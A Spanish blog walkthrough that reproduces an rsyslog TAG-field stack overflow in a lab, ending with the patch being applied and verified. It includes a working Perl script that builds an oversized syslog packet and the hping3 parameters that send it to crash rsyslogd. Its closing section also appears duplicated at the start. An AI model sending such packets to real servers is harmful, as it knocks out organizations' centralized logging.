En la parte inferior de la imagen vemos los dos paquetes que recibió el servidor remoto, y se puede apreciar la X extra que excede los 32 caracteres. Por lo tanto queda claro que el buffer donde se guarda esta variable tiene mas de 32 bytes de espacio.
Bueno, ahora a reventarlo de una vez por todas.
Ahora generemos un ultra_crafted_packet (muajaja muajaja), básicamente es el crafted_packet, pero con 1024 X en lugar de una. Al archivo lo generé con un MUY feo script en perl.
#!/usr/bin/perl -w
open(F,">ultra_crafted_packet");
$inicio="<187>Sep 11 15:25:32 moon PruebaPruebaPruebaPruebaPruebaTT";
$fin=" esto es una prueba";
$mid="";
foreach $i (1 .. 1024)
{
$mid="X".$mid;
}
print F $inicio.$mid.$fin;
close(F);
Ejecutamos el script y ya tenemos nuestro super ultra_crafted_packet, con un total de 1101 bytes. Entonces lanzamos hping3, cambiando los parámetros que corresponden (-d 1101 y -E ultra_crafted_packet).
Y en el servidor nos encontramos con una grata sorpresa :D :
La muerte súbita de rsyslogd y el backtrace correspondiente.
Entonces nos encontramos ante un sencillo caso de denegación al servicio de login centralizado. Solo basta con 1 paquete que exceda los límites del buffer donde se almacena el campo TAG del mensaje syslog, para que el servicio muera.
POR SUERTE la mayoría (sino todas) de las distribuciones ya han publicado el parche correspondiente. Por lo tanto actualizar el servidor es crucial.
#zypper lu -t patch | grep rsyslog
Nos muestra disponible el parche de seguridad 5099, que corresponde a esta vulnerabilidad. Lo aplicamos y volvemos a probar.
#zypper in patch rsyslog
#rcsyslog restart
Y volvemos a lanzar hping3 con los parámetros que mataron el servidor, pero esta vez vemos:
Esta vez el servidor no hice overflow y sigue funcionando perfectamente. Por lo tanto el parche funciona.
Bueno, esto ya se extendió demasiado, posiblemente esta vulnerabilidad pueda ser explotada para hacer cosas mas peligrosas, pero a mi gusto es suficiente con poder denegar un servicio que podría ser crucial para una organización.
El parche creo que se tomó 1 semana en salir, y en ese tiempo todos los rsyslog que vagaban por el mundo eran vulnerables a algo tan secillo como esto... me gustaría creer que no queda ninguno sin actualiazr... ME GUSTARÍA!!!
En esta entrada vamos a comprobar una vulnerabilidad (debilidad o falta de un control) que fue encontrada hace un par de semanas en el servidor de logs rsyslog.
La vulnerabilidad es básicamente un desbordamiento de pila, provocado por un excesivo tamaño del campo TAG. Este, es uno de los campos que compone un mensaje tipo syslog (RFC3164 http://www.ietf.org/rfc/rfc3164.txt).
El contexto de pruebas es el siguiente:
-Servidor rsyslog remoto en la dirección 192.168.206.160 (OpenSuSE 11.3)
-Cliente rsyslog en la dirección 192.168.206.1 (Ubuntu 9.10)
Software utilizado:
-rsyslog 5.4.0 en el servidor
-rsyslog 4.2.0 en el cliente
-logger en el cliente
-hping3 en el cliente
Configurar el servidor rsyslog:
Primeramente configuramos nuestro servidor rsyslog para que reciba mensajes remotos, esto se hace editando el archivos /etc/rsyslog.d/remote.conf y descomentando las siguientes líneas:
$ModLoad imudp.so
$UDPServerRun 514
Luego reiniciamos rsyslog, y abrimos el puerto 514 UDP en el firewall para poder recibir los mensajes.
Configurar el cliente rsyslog:
En este ejemplo vamos a indicar al rsyslog que corre en la pc cliente, que envíe al servidor remoto los logs que tengan facility local7 y severity warn (o mayor a warn); agregamos la siguiente linea a /etc/rsyslog.d/50-default.conf
local7.warn @192.168.206.160
Probando la configuración con logger:
Logger es una interface de comandos que nos comunica con el sistema de loggin del equipo local. Es decir, logger NO enviará los mensajes al servidor remoto, sino al rsyslog local y este los enviará a donde correspondan.
logger -p local7.err -d -t Prueba "esto es una prueba"
Y en la red vemos:
Y del lado del servidor, con tail -f /var/log/messages veremos como llega nuestro mensaje:
Entonces ya tenemos andando nuestro servidor de logs centralizado (.... por decirlo de una manera :P).
Ahora veamos qué pasa si rompemos la barrera de los 32 caracteres en el campo TAG del mensaje, utilizando logger.
# logger -p local7.err -d -t PruebaPruebaPruebaPruebaPruebaTTX "esto es una prueba"
Captura de wireshark:
CARAMBA! Podemos apreciar que la X que excede el límite de los 32 caracteres nunca salió de nuestro sistema, es decir que nuestro rsyslog local cortó la cadena para solamente enviar lo permitido.
Bien, de momento podemos asegurar que un rsyslog no tiraría abajo otro rsyslog porque jamás enviaría un TAG que superase el límite que dicta el RFC.
Qué pasa si... creamos a mano un mensaje syslog y violamos esta restricción?
Para simular el mensaje copiamos de wireshark la parte de datos del paquete UDP y lo pegamos abriendo un archivo en modo binario (vi -b crafted_packet), de la siguiente forma:
Ahora el TAG tiene "PruebaPruebaPruebaPruebaPruebaTTX" que son 33 caracteres, es decir la misma prueba que hicimos con logger, pero esta vez será de manera manual, salteandonos el rsyslog local.
Pero cómo metemos este mensaje en un paquete UDP y lo enviamos al servidor???
hping3 es la respuesta a esa pregunta!!! hping3 es una aplicación esencialmente diseñada para hacer ataques de flooding xD, pero en este caso la usaremos con fines menos escabrosos. Entre otras cosas nos permite crear paquetes ICMP, IP, TCP, UDP de forma muy flexible y enviarlos a tasas dañinas o no.
Lo que haremos es generar paquetes UDP al puerto 514 del servidor de logs remoto en la IP 192.168.206.160.
La forma de generar el paquete es la siguiente:
-2 : indica que queremos generar paquetes UDP
-i 1: cantidad de paquetes por segundo
-d 78: tamaño del PDU UDP, es decir de los datos del paquete UDP
-E crafted_packet: es el archivo de 78 bytes que creamos anteriormente
-p 514: indica el puerto de destino de los paquetes
192.168.206.160: es la IP del servidor remoto
En la parte inferior de la imagen vemos los dos paquetes que recibió el servidor remoto, y se puede apreciar la X extra que excede los 32 caracteres. Por lo tanto queda claro que el buffer donde se guarda esta variable tiene mas de 32 bytes de espacio.
Bueno, ahora a reventarlo de una vez por todas.
Ahora generemos un ultra_crafted_packet (muajaja muajaja), básicamente es el crafted_packet, pero con 1024 X en lugar de una. Al archivo lo generé con un MUY feo script en perl.
#!/usr/bin/perl -w
open(F,">ultra_crafted_packet");
$inicio="<187>Sep 11 15:25:32 moon PruebaPruebaPruebaPruebaPruebaTT";
$fin=" esto es una prueba";
$mid="";
foreach $i (1 .. 1024)
{
$mid="X".$mid;
}
print F $inicio.$mid.$fin;
close(F);
Ejecutamos el script y ya tenemos nuestro super ultra_crafted_packet, con un total de 1101 bytes. Entonces lanzamos hping3, cambiando los parámetros que corresponden (-d 1101 y -E ultra_crafted_packet).
Y en el servidor nos encontramos con una grata sorpresa :D :
La muerte súbita de rsyslogd y el backtrace correspondiente.
Entonces nos encontramos ante un sencillo caso de denegación al servicio de login centralizado. Solo basta con 1 paquete que exceda los límites del buffer donde se almacena el campo TAG del mensaje syslog, para que el servicio muera.
POR SUERTE la mayoría (sino todas) de las distribuciones ya han publicado el parche correspondiente. Por lo tanto actualizar el servidor es crucial.
#zypper lu -t patch | grep rsyslog
Nos muestra disponible el parche de seguridad 5099, que corresponde a esta vulnerabilidad. Lo aplicamos y volvemos a probar.
#zypper in patch rsyslog
#rcsyslog restart
Y volvemos a lanzar hping3 con los parámetros que mataron el servidor, pero esta vez vemos:
Esta vez el servidor no hice overflow y sigue funcionando perfectamente. Por lo tanto el parche funciona.
Bueno, esto ya se extendió demasiado, posiblemente esta vulnerabilidad pueda ser explotada para hacer cosas mas peligrosas, pero a mi gusto es suficiente con poder denegar un servicio que podría ser crucial para una organización.
El parche creo que se tomó 1 semana en salir, y en ese tiempo todos los rsyslog que vagaban por el mundo eran vulnerables a algo tan secillo como esto... me gustaría creer que no queda ninguno sin actualiazr... ME GUSTARÍA!!!
Suscribirse a:
Entradas (Atom)

































